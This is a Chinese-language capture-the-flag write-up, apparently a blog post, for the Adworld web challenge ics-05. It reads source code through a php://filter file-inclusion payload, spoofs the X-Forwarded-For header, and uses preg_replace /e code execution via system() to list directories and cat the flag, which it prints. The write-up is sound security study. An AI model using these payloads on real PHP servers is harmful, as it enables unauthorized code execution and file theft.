攻防世界-web ics-05

做了一个ics-06,现在来试一下做5。先来打开页面吧。

攻防世界-web ics-05

还是与之前一样,那我就想着继续查看一下index.php

攻防世界-web ics-05

来到了这个页面,也没发现什么东西。

查看一下源码吧

攻防世界-web ics-05

发现猫腻。有page这个get这个参数,想着会不会是可能存在利用文件包含读取网页源码的漏洞。那我们用php内置filter协议读取文件的代码

?page=php://filter/read=convert.base64-encode/resource=index.php

这样就可以读取出源码的内容,不过是用base64加密后的源文件。

攻防世界-web ics-05

然后我们利用base64解密一手。发现有php代码。我扔到下面。

if ($_SERVER[‘HTTP_X_FORWARDED_FOR‘] === ‘127.0.0.1‘) {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

那我们来进行一下代码审计吧。

首先$_SERVER[‘HTTP_X_FORWARDED_FOR‘],我们先来解释里面的这个HTTP_X_FORWARDED_FOR,看着这个会不会有些熟悉。

它其实也就是咱们常说的XFF头,它是由客户端控制的。这个可以用来伪造IP

使用bp构造XFF头伪造IP。

而这个函数呢,它能透过代理IP取到真实用户的地址,对HTTP协议进行扩展。定义了一个叫做X-Forwarded-For的实体头。

所以PHP里使用$_SERVER{HTTP_X_FORWARDED_FOR}来获取IP。

代码里需要IP===127.0.0.1

那我们就先在html的头格式中伪造IP,要等于127.0.0.1

攻防世界-web ics-05

构造好后来go一下,

攻防世界-web ics-05

这样页面里出现Welcome My Admin!,这证明伪造成功了

那我继续看下面的php代码。

这里有一个最关键的函数——preg_replace()函数

为啥这里关键呢。参考大佬的wp,说这个preg_replace()函数存在着一个/e漏洞进行代码执行,百度了一下:

那我们先了解一下这个函数的作用。

语法:preg_replace($pattern,$replacement,$subject)

作用:找subject中与pattern匹配的,用replacement来替换掉。

$pattern:要替换的内容。可以是字符串或者是字符串数组。

$replacement:用于替换的字符串或数组。

$subject:要搜索替换的目标字符串或数组。

还有关于这个函数的/e漏洞:

preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。

我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上面代码中 preg_replace 函数的第二个参数)当做代码来执行。

也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码。

现在我们开始进行第一步,利用system("ls")查看一下文件目录,

?pat=/abc/e&rep=system("ls")&sub=defg%20abc

攻防世界-web ics-05

成功读取了文件目录,同时发现了s3chahahaDir有点东西。进到里面查看内容。

利用cd去到s3chahahaDir文件夹下查看内容。

构造Pyload:

?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=defg%20abc

%20代表空格,%26%26就是&&

攻防世界-web ics-05

发现了flag文件。再利用cd命令读取一下flag

Pyload:

?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=defg%20abc

攻防世界-web ics-05

成功读取flag文件夹里的flag.php文件,最后我们再cd命令读取一下。

pyload:

?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=defg%20abc

攻防世界-web ics-05

成功读取flag.

cyberpeace{e451121369f5be315f891e55e01fe1d6}

攻防世界-web ics-05

上一篇:iOS-NSNotificationCenter通知原理解析


下一篇:Mybatis自动生成mapper和实体类